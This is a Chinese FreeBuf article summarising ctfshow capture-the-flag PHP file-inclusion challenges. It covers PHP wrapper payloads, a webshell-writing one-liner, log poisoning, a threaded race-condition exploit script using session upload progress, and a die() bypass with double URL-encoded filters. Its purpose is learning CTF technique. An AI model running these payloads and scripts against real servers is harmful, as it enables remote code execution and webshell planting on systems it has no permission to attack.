freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

由ctfshow总结一些文件包含的姿势
2021-09-01 14:11:39

前言

我在写关于文件包含的题的时候,总觉得无从下手。一是PHP伪协议并未透彻了解,再就是文件包含能结合的东西有很多。今天我就基于ctfshow的题谈谈,关于文件包含的那些事儿。

简单的PHP伪协议

这类普遍就是考你关于PHP伪协议的了解,一般难度不会过大。因为PHP伪协议已经被各位前辈写的非常详细,我这理就不再班门弄斧了,稍微写写使用的情况。具体请移步:PHP伪协议总结

file://协议

使用条件:

allow_url_fopen:off/on
  allow_url_include :off/on

说明:

file:// 文件系统是 PHP 使用的默认封装协议  ,故不受 allow_url_fopen和 allow_url_include 的限制。
 常用于已知某文件的绝对路径或相对路径。

用法:

file://[文件的绝对路径和文件名]
http://127.0.0.1/test.php?file=file://D:\phpStudy\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/test.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/test.php?file=http://127.0.0.1/phpinfo.txt

php://协议

使用条件:
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
(在CTF中,最常用的就是php://input和php://filter,故我仅说明这两个。)
php://input

**说明:**可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。常用来写入一句话木马。

用法:

http://127.0.0.1/test.php?file=php://input
[POST DATA] <?php phpinfo()?>     //尝试能否有回显,如果有,可以传马
<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["awd"];?>’);?>

php://filter

**说明:**在双off的情况下也可以正常使用,常用于读取页面源码。

参数说明:

图片.png

用法:

http://127.0.0.1/test.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

data://协议


条件:
allow_url_fopen :on
allow_url_include:on

说明:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 在作用上,data伪协议和php://input是差不多的。

用法:

data://text/plain, 
http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo();?>
data://text/plain;base64,     //用base64转码
http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b


http:// & https:// 协议

条件:
allow_url_fopen :on
allow_url_include:on

说明:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

用法:

http://127.0.0.1/test.php?file=http://127.0.0.1/phpinfo.txt

实战演示
ctfshow 文件包含 web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,不能通过php://filter,直接查看flag.php了,但是我们可以通过php://input或者data伪协议执行命令。但是过滤了php,只能用data伪协议,使命令base64转码

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=


PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= ---> <?php system('cat flag.php');

通过日志写入进行包含

这种其实也不是特别复杂。
当正常的伪协议出不来,那我们可以尝试,访问日志文件,看是否有权限打开,如果是,那就是日志写入。
话不多说上例题。
ctfshow 文件包含 web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这种就是我们说的,常规为协议出不来,但是,刚好又有权限可以去访问日志文件图片.png抓包,写马
图片.png蚁剑连接
图片.png

PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含

在练习前先了解一些知识图片.png看到在$_SESSION中添加一组数据,可以想到是利用SESSION_UPLOAD_PROGRESS把恶意语句写入session中,并进行文件包含。但是我们首先了解的是session文件放在哪,然后上传一个session文件( 在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session )。
然后我们了解一下php.ini的一些配置

1.session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。

2. session.upload_progress.enabled = on
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

3. session.upload_progress.cleanup = on
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

4. session.upload_progress.prefix = "upload_progress_"
prefix+name将表示为session中的键名

5. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

6.session.use_strict_mode=off
这个选项默认值为off,表示对Cookie中sessionid可控。

session.upload_progress.cleanup = on,代表这类型的题需要使用条件竞争来做。
说了那么多知识,但是并不连贯,用下题把知识连贯起来。

ctfshow 文件包含 web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这道题过滤了大多数的字符,正常的伪协议肯定不行,访问日志也没有权限。这个时候就可以尝试PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含 。
先在本地创建一个文件

<!DOCTYPE html>
<html>
<body>
<form action="http://097947da-224c-4d92-a3ed-b9ca5e4a77eb.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

随便上传个文件,设置 Cookie :PHPSESSID=flag PHP将会在服务器上创建一个文件:/tmp/sess_flag” 并且在 PHP_SESSION_UPLOAD_PROGRESS 下写入命令
图片.png

然后 传参?file=/tmp/sess_flag 抓包
图片.png

两个一起放到爆破模块,进行爆破
图片.png

就会 就会得到目录,然后在第一次上传文件抓的包里面写的命令改成cat fl0g就行了
或者,通过Sn0w佬的脚本一把梭

# -*- coding: utf-8 -*-
import requests
import io
import threading
url = 'http://097947da-224c-4d92-a3ed-b9ca5e4a77eb.challenge.ctf.show:8080/'
sessID = 'Sn0w'
def write(session):
    #判断event的标志是否为True
    while event.isSet():
        #上传文件要大一点,更有利于条件竞争
        f = io.BytesIO(b'Sn0w' * 1024 * 50)
        reponse = session.post(
            url,
            cookies={'PHPSESSID': sessID},
            data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
            files={'file':('text.txt',f)}
        )
def read(session):
    while event.isSet():
        reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
        if 'text' in reponse.text:
            print(reponse.text)
            #将event的标志设置为False,调用wait方法的所有线程将被阻塞;
            event.clear()
        else:
            print('[*]continued')
if __name__ == '__main__':
    #通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
    event = threading.Event()
    #将event的标志设置为True,调用wait方法的所有线程将被唤醒;
    event.set()
    #会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read, args=(session,)).start()

这个脚本我还并未理解透彻,但是没什么比一把梭更舒服了。

绕过exit函数/die函数进行文件包含

理论知识就不多说,详见P神文章,文章里面写的比较清楚了。

实例解析
ctfshow 文件包含 web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);
}

我们POST的$content被写到以urldecode($file)为名的文件中,且在末尾中写入<?php die('大佬别秀了');?>,导致我们传入的马也无法执行。所以我们要绕过函数die()
因为代码中使用了urldecode($file),所以我们需要对$file进行两次编码,第一次浏览器自动解码,第二次依旧是url编码,便可以绕过前面的过滤。POST提交一句话木马,前面的俩a,是因为base64解码4个byte一组,<?php die('大佬别秀了');?>解码出来是phpdie,缺少两个字符,所以添加俩字符

构造payload

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
#php://filter/convert.base64-decode/resource=1.php
POST:
aaPD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
#aa<?php system('cat *.php');?>

或者用rot13编码的方法

?file=php://filter/string.rot13/resource=shell.php(记得要两次url编码)
DATA:
content=<?cuc cucvasb();?>

当然也可以写个脚本

import requests
import base64
url = 'http://99b7ae00-8317-48d1-8692-9518392e03d6.challenge.ctf.show:8080/'
# php://filter/write=convert.base64-decode/resource=tmp.php
file = '%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%64%25%37%30%25%32%65%25%37%30%25%36%38%25%37%30'
payload = '<?php system("nl *.php");?>'
payload = base64.encodebytes(payload.encode('utf-8')).decode('utf-8')
payload = payload.replace('\n', '')
data = {
    'content': 'aa' + payload
}
print(data)
requests.post(url=url + '?file=' + file, data=data)
res = requests.get(url + 'tmp.php')
print(res.text)

总结

把ctfshow的文件包含的知识点都列出来了,但是事实上,这只是文件包含的一小部分,文件包含可以结合的知识点有很多,万变不离其宗,看清本质,知道出题人想考什么才能更好的帮助解题。

参考

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list
https://blog.csdn.net/weixin_45696568/article/details/112803150
https://blog.csdn.net/weixin_45551083/article/details/110259089
https://blog.csdn.net/qq_46150940/article/details/115639419
https://segmentfault.com/a/1190000018991087

# web安全 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录